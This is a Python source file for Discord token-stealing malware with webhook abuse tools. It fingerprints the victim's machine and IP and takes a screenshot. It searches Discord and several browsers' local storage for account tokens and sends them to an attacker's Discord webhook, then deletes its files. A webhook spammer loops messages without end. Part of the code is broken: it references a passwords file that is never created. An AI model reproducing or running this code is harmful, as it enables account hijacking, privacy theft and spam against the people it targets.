import subprocess
import requests
from dhooks import Webhook
import json
from time import sleep
import asyncio
import os
import sys
import shutil
import sqlite3
import pywintypes
import win32gui
import json
import re
import base64
import requests
import platform
import zipfile
import smtplib
import http.cookiejar as cookiejar
from urllib.parse import urlencode
import ctypes
import ctypes.wintypes
import win32con
import win32api
import cryptography
from shutil import copyfile
from email import encoders
from re import findall
from json import loads, dumps
from base64 import b64decode
from subprocess import Popen, PIPE
from urllib.request import Request, urlopen
from datetime import datetime
from threading import Thread
from time import sleep
from sys import argv
from PIL import ImageGrab
from dhooks import Webhook, File
from Cryptodome.Cipher import AES
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

# Get HWID
def get_hwid():
    hwid = subprocess.check_output('wmic csproduct get uuid').decode().split('\n')[1].strip()
    return hwid

# Get IP
def get_ip():
    query = requests.get("https://wtfismyip.com/text").text
    return query

# IP lookup
def geo_location(ip):
    query = requests.get(f"https://ipapi.co/{ip}/json").text
    return query

# Convert text to ASCII
def ascii(text):
    query = requests.get(f"https://artii.herokuapp.com/make?text={text}").text
    return query

# Change Webhook Name
def webhook_name(name, webhook_url):
    webhook = Webhook(webhook_url)
    webhook.modify(name=name)

# Webhook Delete
def webhook_delete(webhook_url):
    webhook = Webhook(webhook_url)

    webhook.delete()

# Webhook Spammer
def webhook_spammer(webhook_url, message):
    hook = Webhook(webhook_url)
    info = hook.default_name
    while True:
        hook.send(message)
        print("Sent " + message)

# Token Logger
def token(webhook_url):
    PING_ME = True

    WEBHOOK_URL = webhook_url

    #DISCORD WEBHOOK:
    hook = Webhook(
        webhook_url)
    #DISCORD WEBHOOK 2:
    hooks = Webhook(
        webhook_url)

    # SCREENSHOT:
    try:
        screen = ImageGrab.grab()
        screen.save(os.getenv('ProgramData') + '\\Screenshot.jpg')
        screen = open('C:\\ProgramData\\Screenshot.jpg', 'rb')
        screen.close()
        screenshot = File('C:\\ProgramData\\Screenshot.jpg')
    except:
        pass


    # SEND THOSE VARIABLES:
    try:
        hook.send("screenshot:", file=screenshot)
        hook.send("passwords:", file=passwords)
        os.remove('C:\\ProgramData\\Passwords.txt')
        os.remove('C:\\ProgramData\\Screenshot.jpg')
        os.remove('C:\\ProgramData\\Passwords.zip')
    except:
        pass

    def find_tokens(path):
        path += '\\Local Storage\\leveldb'

        tokens = []

        for file_name in os.listdir(path):
            if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
                continue

            for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
                for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                    for token in re.findall(regex, line):
                        tokens.append(token)
        return tokens

    def main():
        local = os.getenv('LOCALAPPDATA')
        roaming = os.getenv('APPDATA')

        paths = {
            'Discord': roaming + '\\Discord',
            'Discord Canary': roaming + '\\discordcanary',
            'Discord PTB': roaming + '\\discordptb',
            'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
            'Opera': roaming + '\\Opera Software\\Opera Stable',
            'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
            'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
        }

        message = '@everyone' if PING_ME else ''

        for platform, path in paths.items():
            if not os.path.exists(path):
                continue

            message += f'\n**{platform}**\n```\n'

            tokens = find_tokens(path)

            if len(tokens) > 0:
                for token in tokens:
                    message += f'{token}\n'
            else:
                message += 'No tokens found.\n'

            message += '```'

        headers = {
            'Content-Type': 'application/json',
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'
        }

        payload = json.dumps({'content': message})

        try:
            req = Request(WEBHOOK_URL, data=payload.encode(), headers=headers)
            urlopen(req)
        except:
            pass

    try:
        main()
    except:
        pass
